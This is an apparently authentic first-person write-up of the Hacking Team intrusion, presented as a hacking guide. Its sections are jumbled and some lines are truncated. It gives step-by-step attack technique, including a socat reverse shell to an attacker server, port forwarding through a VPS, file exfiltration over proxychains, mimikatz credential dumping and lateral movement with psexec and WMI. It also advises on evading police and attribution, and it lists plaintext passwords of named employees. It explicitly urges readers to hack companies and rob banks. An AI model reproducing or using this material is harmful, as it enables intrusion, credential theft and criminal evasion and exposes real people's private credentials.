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--[1 - Introduction]-----

You'll notice the change in language since the last edition [1]. The English-speaking world already has tons of books, talks, guide info about hacking. In that world, there's plenty of hackers but they misuse their talents working for "defense" contractor agencies, to protect banks and corporations, and to defend the Hacker culture was born in the US as a counterculture, but that remains in its aesthetics - the rest has been assimilated. At times they wear a t-shirt, dye their hair blue, use their hacker names, and act like rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need a gun to rob a bank. Now you can do both from bed with a laptop. Like the CNT said after the Gamma Group hack: "Let's take a step towards new forms of struggle" [5]. Hacking is a powerful tool, let's use it.

- [1] <http://pastebin.com/raw.php?i=cRYvK4jb>
- [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_Acts_of_Security_Agencies
- [3] <http://www.aljazeera.com/news/2015/09/algerian-hacker-hero>
- [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
- [5] <http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque>

--[2 - Hacking Team]-----

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Hacking Team saw themselves as part of a long line of inspired [1]. I see Vincenzetti, his company, his cronies in the police and government, as part of a long tradition of Italian fascism dedicate this guide to the victims of the raid on the Armando to all those who have had their blood spilled by Italian fasci

[1] <https://twitter.com/coracurrier/status/618104723263090688>

--[18 - Contact]-----

To send me spear phishing attempts, death threats in Italian [give me 0days or access inside banks, corporations, government

[1] <http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a->

[2] <https://twitter.com/CthulhuSec/status/619459002854977537>

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Hacking Team was a company that helped governments hack and spy journalists, activists, political opposition, and other threats [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]. And, occasionally, on actu and terrorists [12]. Vincenzetti, the CEO, liked to end his ema fascist slogan "boia chi molla". It'd be more correct to say "b RCS". They also claimed to have technology to solve the "proble and the darknet [13]. But seeing as I'm still free, I have my d its effectiveness.

[1] <http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla>

[2] <http://www.prensa.com/politica/claves-entender-Hacking-Team>

[3] <http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opo>

[4] <https://citizenlab.org/2012/10/backdoors-are-forever-hackin>

[5] <https://citizenlab.org/2014/02/hacking-team-targeting-ethio>

[6] <https://citizenlab.org/2015/03/hacking-team-reloaded-us-bas>

[7] <http://focusecuador.net/2015/07/08/hacking-team-rodas-paez->

[8] <http://www.pri.org/stories/2015-07-08/these-ethiopian-journ>

[9] <https://theintercept.com/2015/07/07/leaked-documents-confir>

[10] <http://www.wired.com/2013/06/spy-tool-sold-to-governments/>

[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietn

[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossett

[13] http://motherboard.vice.com/en_ca/read/hacking-team-founde

--[3 - Stay safe out there]-----

Unfortunately, our world is backwards. You get rich by doing ba to jail for doing good. Fortunately, thanks to the hard work of the Tor project [1], you can avoid going to jail by taking a fe precautions:

1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, it me

already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

This accomplishes two things. First, all your traffic is on Tor. Second, keeping your personal life and your hacking on different computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor

Tor isn't a panacea. They can correlate the times you're connected with the times your hacker handle is active. Also, there have been successful attacks against Tor [8]. You can connect to Tor through peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for cracking wifi. Another option is to connect to a VPN or a bridge before Tor, but that's less secure because they can still correlate your hacker's activity with your house's internet activity (this is the evidence against Jeremy Hammond [11]).

The reality is that while Tor isn't perfect, it works quite well. When I was young and reckless, I did plenty of stuff without any precautions (referring to hacking) apart from Tor, that the police tried to investigate, and I've never had any problems.

[1] <https://www.torproject.org/>

[2] <https://info.securityinabox.org/es/chapter-4>

[3] <https://www.whonix.org/>

[4] <https://tails.boum.org/>

[5] <https://www.qubes-os.org/doc/privacy/torvm/>

[6] <https://trac.torproject.org/projects/tor/wiki/doc/Transparency>

[7] https://www.whonix.org/wiki/Comparison_with_Others

Within Christian Pozzi's Truecrypt volume, there was a textfile with passwords [1]. One of those was for a Fully Automated Nagios server access to the Sviluppo network in order to monitor it. I'd found the password needed. The textfile just had the password to the web interface and a public code execution exploit [2] (it's an unauthenticated exploit that requires that at least one user has a session initiated, for which you need the password from the textfile).

[1] <http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20passwords>

[2] <http://seclists.org/fulldisclosure/2014/Oct/78>

--[16 - Reusing and resetting passwords]-----

Reading the emails, I'd seen Daniele Milan granting access to gmail. I already had his windows password thanks to mimikatz. I tried it on the server and it worked. Then I tried sudo and it worked. For the twitter account and their twitter account, I used the "forgot my password" function. For my access to their mail server to reset the passwords.

--[17 - Conclusion]-----

That's all it takes to take down a company and stop their human resources. That's the beauty and asymmetry of hacking: with 100 hours of work you can undo years of work by a multi-million dollar company. Hacking is an underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for educational purposes only, be an ethical hacker, don't attack servers you don't have permission to, etc. I'll say the same, but with a more realistic conception of "ethical" hacking. Leaking documents, expropriating banks, and working to secure the computers of ordinary people is not ethical hacking. However, most people that call themselves "ethical hackers" are there to secure those who pay their high consulting fees, who are often the ones most deserving to be hacked.

[14] <https://github.com/samratashok/nishang>

--[14 - Hunting Sysadmins]-----

Reading their documentation about their infrastructure [1], I was still missing access to something important - the "Rete Sviluppo" network with the source code for RCS. The sysadmins of a company have access to everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and to see if there were any other interesting systems I should investigate. It was difficult to access their computers, since they were part of the windows domain and I already gotten admin access. Mauro Romeo's computer didn't have WMI open, so I opened the port for WMI [2] and executed meterpreter. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit [4], and searched for interesting files [5]. Upon seeing that Christian Pozzi had a Truecrypt volume, I waited until he'd mounted it and then copied the files. Many have made fun of Christian Pozzi's weak passwords and of Christian Pozzi in general, he provides plenty of material [6] and I included them in the leak as a false clue, and to laugh at him and to show that mimikatz and keyloggers view all passwords equally.

[1] <http://hacking.technology/Hacked%20Team/FileServer/FileServer>

[2] <http://www.hammer-software.com/wmigphowto.shtml>

[3] https://www.trustedsec.com/june-2015/no_psexec_needed/

[4] <https://gallery.technet.microsoft.com/scriptcenter/PowerShell>

[5] http://pwnwiki.io/#!presence/windows/find_files.md

[6] <http://archive.is/TbaPy>

[7] <http://hacking.technology/Hacked%20Team/c.pozzi/screenshot>

[8] <http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you>

[9] <http://hacking.technology/Hacked%20Team/c.pozzi/credentials>

--[15 - The bridge]-----

[8] <https://blog.torproject.org/blog/tor-security-advisory-relations>

[9] <http://www.wifislax.com/>

[10] <https://www.torproject.org/docs/bridges.html.en>

[11] <http://www.documentcloud.org/documents/1342115-timeline-co>

----[3.1 - Infrastructure]-----

I don't hack directly from Tor exit nodes. They're on blacklist, they're slow, and they can't receive connect-backs. Tor protects my anonymity and I can't connect to the infrastructure I use to hack, which consists of:

1) Domain Names

For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

For use as C&C servers, to receive connect-back shells, to launch attacks and to store the loot.

3) Hacked Servers

For use as pivots to hide the IP addresses of the stable servers. I use them when I want a fast connection without pivoting, for example to scan the whole internet, download a database with sqlmap, etc.

Obviously, you have to use an anonymous payment method, like Bitcoin (used carefully).

----[3.2 - Attribution]-----

In the news we often see attacks traced back to government-backed groups ("APTs"), because they repeatedly use the same tools, leave the same fingerprints, and even use the same infrastructure (domains, email addresses).

They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating Hacking Team with other hacks I've done or with names I use in work as a blackhat hacker. So, I used new servers and domain names with new emails, and payed for with new bitcoin addresses. Also tools that are publicly available, or things that I wrote specifically for this attack, and I changed my way of doing some things to not leave a forensic footprint.

--[4 - Information Gathering]-----

Although it can be tedious, this stage is very important, since the attack surface, the easier it is to find a hole somewhere in it.

----[4.1 - Technical Information]-----

Some tools and techniques are:

1) Google

A lot of interesting things can be found with a few well-chosen queries. For example, the identity of DPR [1]. The bible of Google Hacking is the book "Google Hacking for Penetration Testers". You can find a summary in Spanish at [2].

2) Subdomain Enumeration

Often, a company's main website is hosted by a third party, the company's actual IP range thanks to subdomains like mx1.example.com. Also, sometimes there are things that should be in "hidden" subdomains. Useful tools for discovering domain names are fierce [3], theHarvester [4], and recon-ng [5].

3) Reading sharepoint

It's another place where many businesses store a lot of important information. It can also be downloaded with powershell [10].

4) Active Directory [11]

It has a lot of useful information about users and computers. As Domain Admin, you can already get a lot of info with powerview tools [12]. After getting Domain Admin, you should export all the information with csvde or another tool.

5) Spy on the employees

One of my favorite hobbies is hunting sysadmins. Spying on C (one of Hacking Team's sysadmins) gave me access to a Nagios console (gave me access to the rete sviluppo (development network with the code of RCS). With a simple combination of Get-Keystrokes and Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration framework [14], and GPU, you can spy on any employee, or even on the w

[1] <https://github.com/PowerShellEmpire/PowerTools/tree/master/>

[2] <http://www.harmj0y.net/blog/tag/powerview/>

[3] <http://www.harmj0y.net/blog/powershell/veil-powerview-a-usa/>

[4] <http://www.harmj0y.net/blog/redteaming/powerview-2-0/>

[5] <http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/>

[6] <http://www.slideshare.net/harmj0y/i-have-the-powerview>

[7] <https://adsecurity.org/?p=2535>

[8] <https://www.youtube.com/watch?v=rpwrKhgMd7E>

[9] <https://github.com/mubix/netview>

[10] <https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to>

[11] https://adsecurity.org/?page_id=41

[12] <http://www.darkoperator.com/?tag=Active+Directory>

[13] <https://github.com/PowerShellMafia/PowerSploit>

I have passwords and a golden ticket [1] as backup access. You about the different techniques for persistence in windows here for hacking companies, it's not needed and it increases the ri

- [1] <http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-e>
- [2] <http://www.harmj0y.net/blog/empire/nothing-lasts-forever-p>
- [3] <http://www.hexacorn.com/blog/category/autostart-persistenc>
- [4] <https://blog.netspi.com/tag/persistence/>

----[13.3 - Internal reconnaissance]-----

The best tool these days for understanding windows networks is It's worth reading everything written by it's author [2], espe [5], and [6]. Powershell itself is also quite powerful [7]. As many windows 2000 and 2003 servers without powershell, you als the old school [8], with programs like netview.exe [9] or the 'net view'. Other techniques that I like are:

1) Downloading a list of file names

With a Domain Admin account, you can download a list of all the network with powerview:

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Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Group
select fullname | out-file -append files.txt}
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Later, you can read it at your leisure and choose which fil

2) Reading email

As we've already seen, you can download email with powershe lot of useful information.

3) Whois lookups and reverse lookups

With a reverse lookup using the whois information from a dom of a company, you can find other domains and IP ranges. As f there's no free way to do reverse lookups aside from a googl

"via della moscova 13" site:www.findip-address.com
"via della moscova 13" site:domaintools.com

4) Port scanning and fingerprinting

Unlike the other techniques, this talks to the company's ser include it in this section because it's not an attack, it's information gathering. The company's IDS might generate an a don't have to worry since the whole internet is being scanne

For scanning, nmap [6] is precise, and can fingerprint the m services discovered. For companies with very large IP ranges masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can sites.

- [1] <http://www.nytimes.com/2015/12/27/business/dealbook/the-uns>
- [2] <http://web.archive.org/web/20140610083726/http://www.soulbl>
- [3] <http://ha.ckers.org/fierce/>
- [4] <https://github.com/laramies/theHarvester>
- [5] <https://bitbucket.org/LaNMaSteR53/recon-ng>
- [6] <https://nmap.org/>
- [7] <https://zmap.io/>
- [8] <https://github.com/robertdavidgraham/masscan>
- [9] <http://www.morningstarsecurity.com/research/whatweb>
- [10] <http://blindelephant.sourceforge.net/>

----[4.2 - Social Information]-----

For social engineering, it's useful to have information about their roles, contact information, operating system, browser, p software, etc. Some resources are:

1) Google

Here as well, it's the most useful tool.

2) theHarvester and recon-ng

I already mentioned them in the previous section, but they functionality. They can find a lot of information quickly a automatically. It's worth reading all their documentation.

3) LinkedIn

A lot of information about the employees can be found here. recruiters are the most likely to accept your connection re

4) Data.com

Previously known as jigsaw. They have contact information f employees.

5) File Metadata

A lot of information about employees and their systems can metadata of files the company has published. Useful tools f files on the company's website and extracting the metadata [1] and FOCA [2].

[1] <https://github.com/laramies/metagoofil>

[2] <https://www.elevenpaths.com/es/labstools/foca-2/index.html>

3) Pass the Hash

If you have a user's hash, but they're not logged in, you ca sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, command in meterpreter and pupy [6], or the psinject [7] com powershell empire. You can inject into the process that has want.

5) runas

This is sometimes very useful since it doesn't require admin The command is part of windows, but if you don't have a GUI powershell [8].

[1] <https://www.indetectables.net/viewtopic.php?p=211165>

[2] https://adsecurity.org/?page_id=1821

[3] <https://github.com/bidord/pykek>

[4] <https://adsecurity.org/?p=676>

[5] <http://www.hackplayers.com/2014/12/CVE-2014-6324-como-valid>

[6] <https://github.com/n1nj4sec/pupy>

[7] http://www.powershellempire.com/?page_id=273

[8] <https://github.com/FuzzySecurity/PowerShell-Suite/blob/master>

----[13.2 - Persistence]-----

Once you have access, you want to keep it. Really, persistence challenge for assholes like Hacking Team who target activists a individuals. To hack companies, persistence isn't needed since sleep. I always use Duqu 2 style "persistence", executing in RA high-uptime servers. On the off chance that they all reboot at

If all those protocols are disabled or blocked by the firewall, you can use GP0 to give users a login script, execute a scheduled task [13], or, like we'll see with the Mauro Romeo (one of Hacking Team's sysadmins), use GP0 to open the firewall.

- [1] <https://technet.microsoft.com/en-us/sysinternals/psexec.as>
- [2] <https://sourceforge.net/projects/winexe/>
- [3] <https://www.rapid7.com/db/modules/exploit/windows/smb/psexec>
- [4] http://www.powershellempire.com/?page_id=523
- [5] <http://blog.cobaltstrike.com/2014/04/30/lateral-movement-w>
- [6] <https://github.com/byt3bl33d3r/pth-toolkit>
- [7] <https://github.com/CoreSecurity/impacket/blob/master/examp>
- [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
- [9] http://www.powershellempire.com/?page_id=124
- [10] <http://www.maquinasvirtuales.eu/ejecucion-remota-con-powe>
- [11] <https://adsecurity.org/?p=2277>
- [12] <https://www.secureworks.com/blog/where-you-at-indicators->
- [13] <https://github.com/PowerShellEmpire/Empire/blob/master/li>

''In place'' Movement:

1) Token Stealing

Once you have admin access on a computer, you can use the token impersonation tool to give other users to access resources in the domain. Two tools for this are mimikatz and the incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

You can take advantage of a validation bug in Kerberos to get Admin tickets [3] [4] [5].

--[5 - Entering the network]-----

There are various ways to get a foothold. Since the method I used by the Hacking Team is uncommon and a lot more work than is usually needed, I will talk a little about the two most common ways, which I recommend.

----[5.1 - Social Engineering]-----

Social engineering, specifically spear phishing, is responsible for the majority of hacks these days. For an introduction in Spanish, see [1]. For more information in English, see [2] (the third part, ''Targeted Social Engineering''). I didn't want to try to spear phish Hacking Team, as their goal is helping governments spear phish their opponents, so they'd be likely to recognize and investigate a spear phishing attempt.

- [1] <http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.ht>
- [2] <http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tac>
- [3] <http://www.netcommunity.com/lestertheteacher/doc/ingsocial1>

----[5.2 - Buying Access]-----

Thanks to hardworking Russians and their exploit kits, traffic from bot herders, many companies already have compromised computers and networks. Almost all of the Fortune 500, with their huge networks, have bots already inside. However, Hacking Team is a very small company and some of its employees are infosec experts, so there was a low chance that any of them already been compromised.

----[5.3 - Technical Exploitation]-----

After the Gamma Group hack, I described a process for searching for and exploiting vulnerabilities [1]. Hacking Team had one public IP range:

inetnum: 93.62.139.32 - 93.62.139.47

descr: HT public subnet

Hacking Team had very little exposed to the internet. For example, Gamma Group, their customer support site needed a client certificate to connect. What they had was their main website (a Joomla blog in [2] didn't find anything serious), a mail server, a couple routers and appliances, and a spam filtering appliance. So, I had three options: a Oday in Joomla, look for a Oday in postfix, or look for a Oday in embedded devices. A Oday in an embedded device seemed like the best option and after two weeks of work reverse engineering, I got a remote shell. Since the vulnerabilities still haven't been patched, I won't go into details, but for more information on finding these kinds of vulnerabilities see [3] and [4].

[1] <http://pastebin.com/raw.php?i=cRYvK4jb>

[2] <http://sourceforge.net/projects/joomscan/>

[3] <http://www.devttys0.com/>

[4] <https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2...>

--[6 - Be Prepared]-----

I did a lot of work and testing before using the exploit again. I wrote a backdoored firmware, and compiled various post-exploitation tools for the embedded device. The backdoor serves to protect the exploit just once and then returning through the backdoor makes it easy to identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

For all the standard Unix utilities that the system didn't have.

2) nmap

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The tried and true method for lateral movement on windows. You can use psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell's invoke_psexec [4], or the builtin windows command 'sc' [5]. You can also use a metasploit module, powershell empire, and pth-winexe [6], you just need a hash, not the password. It's the most universal method (it works on any windows computer with port 445 open), but it's also the least stealthy. Event type 7045 'Service Control Manager' will appear in the Event Viewer. In my experience, no one has ever noticed during a hack, but it's always a good idea for investigators piece together what the hacker did afterwards.

2) WMI

The most stealthy method. The WMI service is enabled on all windows computers, but except for servers, the firewall blocks it by default. You can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows command wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

It's disabled by default, and I don't recommend enabling new services. But, if the sysadmin has already enabled it, it's very convenient. Especially if you use powershell for everything (and you should), powershell for almost everything, it will change [11] with powershell windows 10, but for now powershell makes it easy to do everything. (avoid AV, and leave a small footprint)

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5]. In the same situations where you could use psexec, and it also leaves a small footprint [12].

5) GPO

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Now that I'd gotten Domain Admin, I started to download file server proxy and the -Tc option of smbclient, for example:

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' \  
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskSt.
```

I downloaded the Amministrazione, FAE DiskStation, and FileServer the torrent like that.

--[13 - Introduction to hacking windows domains]-----

Before continuing with the story of the "weones culiaos" (Hack should give some general knowledge for hacking windows network

----[13.1 - Lateral Movement]-----

I'll give a brief review of the different techniques for spreading windows network. The techniques for remote execution require the hash of a local admin on the target. By far, the most common with those credentials is using mimikatz [1], especially sekurlsa::localadmin and sekurlsa::msv, on the computers where you already have administrative techniques for "in place" movement also require administrative (except for runas). The most important tools for privilege escalation: PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821

[2] <https://github.com/PowerShellEmpire/PowerTools/tree/master>

[3] <https://github.com/PowerShellEmpire/Empire/blob/master/data>

Remote Movement:

1) psexec

To scan and fingerprint Hacking Team's internal network.

3) Responder.py

The most useful tool for attacking windows networks when you have access to the internal network, but no domain user.

4) Python

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp, and arpspoofing. I wanted to use ettercap, written by Hacking Team and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:

```
my_server: socat file:'tty',raw,echo=0 tcp-listen:my_port
```

```
hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,su \  
tcp:my_server:my_port
```

And useful for a lot more, it's a networking swiss army knife. See the examples section of its documentation.

8) screen

Like the shell with pty, it wasn't really necessary, but I was at home in Hacking Team's network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local network program.

10) tgcd

For forwarding ports, like for the SOCKS server, through the

- [1] <https://www.busybox.net/>
- [2] <https://nmap.org/>
- [3] <https://github.com/SpiderLabs/Responder>
- [4] <https://github.com/bendmorris/static-python>
- [5] <http://www.tcpcat.org/>
- [6] <http://www.monkey.org/~dugsong/dsniff/>
- [7] <http://www.dest-unreach.org/socat/>
- [8] <https://www.gnu.org/software/screen/>
- [9] <http://average-coder.blogspot.com/2011/09/simple-socks5-server/>
- [10] <http://tgcd.sourceforge.net/>

The worst thing that could happen would be for my backdoor or my tools to make the system unstable and cause an employee to investigate. I spent a week testing my exploit, backdoor, and post-exploitation tools on networks of other vulnerable companies before entering Hacking Team's network.

--[7 - Watch and Listen]-----

Now inside their internal network, I wanted to take a look around about my next step. I started Responder.py in analysis mode (without sending poisoned responses), and did a slow scan with:

```
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.cicero 202571&2E
HACKINGTEAM e.rabe erab@4HT!
```

- [1] <https://github.com/Neohapsis/creddump7>
- [2] <http://proxychains.sourceforge.net/>
- [3] <https://www.samba.org/>
- [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metas
- [5] <https://github.com/gentilkiwi/mimikatz>

--[11 - Downloading the mail]-----

With the Domain Admin password, I have access to the email, the company. Since with each step I take there's a chance of being caught, I start downloading their email before continuing to explore. Powercat makes it easy [1]. Curiously, I found a bug with Powershell's date handling: when downloading the emails, it took me another couple weeks to get the source code and everything else, so I returned every now and then to check the new emails. The server was Italian, with dates in the format day/month/year. I used:

```
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
```

with New-MailboxExportRequest to download the new emails (in the mailbox since June 5). The problem is it says the date is invalid (I tried to try a day larger than 12 (I imagine because in the US the month is 12 and you can't have a month above 12). It seems like Microsoft's test their software with their own locale.

- [1] <http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1/>

--[12 - Downloading Files]-----

--[10 - From backups to domain admin]-----

What interested me most in the backup was seeing if it had a password that could be used to access the live server. I used pwdump, c:\lsadump [1] on the registry hives. lsadump found the password for the service account:

```
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 !.!
```

I used proxychains [2] with the socks server on the embedded smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c\$' -U 'hackingteam.lo

It worked! The password for besadmin was still valid, and a local user was created. I used my proxy and metasploit's psexec_psh [4] to get a meterpreter shell. Then I migrated to a 64 bit process, ran 'load kiwi' [5], 'create' and got a bunch of passwords, including the Domain Admin:

```
HACKINGTEAM BESAdmin      bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi          P4ssword      <---- lol great sysa
HACKINGTEAM m.romeo         ioLK/(90
HACKINGTEAM l.guerra       4luc@=.=
HACKINGTEAM d.martinez     W4tudul3sp
HACKINGTEAM g.russo      GCBr0s0705!
HACKINGTEAM a.scarafile   Cd4432996111
HACKINGTEAM r.viscardi    Ht2015!
HACKINGTEAM a.mino      A!e$$andra
HACKINGTEAM m.bettini   Ettore&Bella0314
HACKINGTEAM m.luppi     Blackou7
HACKINGTEAM s.gallucci  1S9i8m4o!
```

--[8 - NoSQL Databases]-----

NoSQL, or rather NoAuthentication, has been a huge gift to the security community [1]. Just when I was worried that they'd finally patched authentication bypass bugs in MySQL [2][3][4][5], new databases were being released in a style that lack authentication by design. Nmap found a few in the internal network:

```
27017/tcp open  mongodb      MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_   version = 2.6.5
```

```
27017/tcp open  mongodb      MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_   version = 2.6.5
```

They were the databases for test instances of RCS. The audio files are stored in MongoDB with GridFS. The audio folder in the torrent was created from this. They were spying on themselves without meaning to.

- [1] <https://www.shodan.io/search?query=product%3Amongodb>
- [2] <https://community.rapid7.com/community/metasploit/blog/2012-03-08-mysql-authentication-bypass>
- [3] <http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html>
- [4] <http://downloads.securityfocus.com/vulnerabilities/exploits/2004-03-08-mysql-authentication-bypass-exploit.c>
- [5] <http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html>

[6] <https://ht.transparencytoolkit.org/audio/>

--[9 - Crossed Cables]-----

Although it was fun to listen to recordings and see webcam images of the team developing their malware, it wasn't very useful. Their inexperience with the vulnerability that opened their doors. According to their documentation [1], their iSCSI devices were supposed to be on the external network, but nmap found a few in their subnetwork 192.168.1.20

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)

```
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|   Address: 192.168.200.66:3260,0
|_   Authentication: No authentication required
```

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)

```
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|   Address: 10.0.1.72:3260,0
|   Address: 192.168.200.72:3260,0
|_   Authentication: No authentication required
```

iSCSI needs a kernel module, and it would've been difficult to get it on the embedded system. I forwarded the port so that I could mount it.

```
VPS: tgcd -L -p 3260 -q 42838
```

```
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
```

```
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
```

Now iSCSI finds the name iqn.2000-01.com.synology but has problems because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:

```
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
```

And now, after:

```
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology
```

...the device file appears! We mount it:

```
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
```

and find backups of various virtual machines. The Exchange server was the most interesting. It was too big to download, but it was possible to mount it remotely to look for interesting files:

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
```

```
$ fdisk -l /dev/loop0
```

```
/dev/loop0p1          2048 1258287103   629142528    7  HPFS
```

so the offset is $2048 * 512 = 1048576$

```
$ losetup -o 1048576 /dev/loop1 /dev/loop0
```

```
$ mount -o ro /dev/loop1 /mnt/exchange/
```

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-10

we find the hard disk of the VM, and mount it:

```
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/exchange/
```

```
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
```

...and finally we've unpacked the Russian doll and can see all the old Exchange server in /mnt/part1

[1] <https://ht.transparencytoolkit.org/FileServer/FileServer/HackingTeam>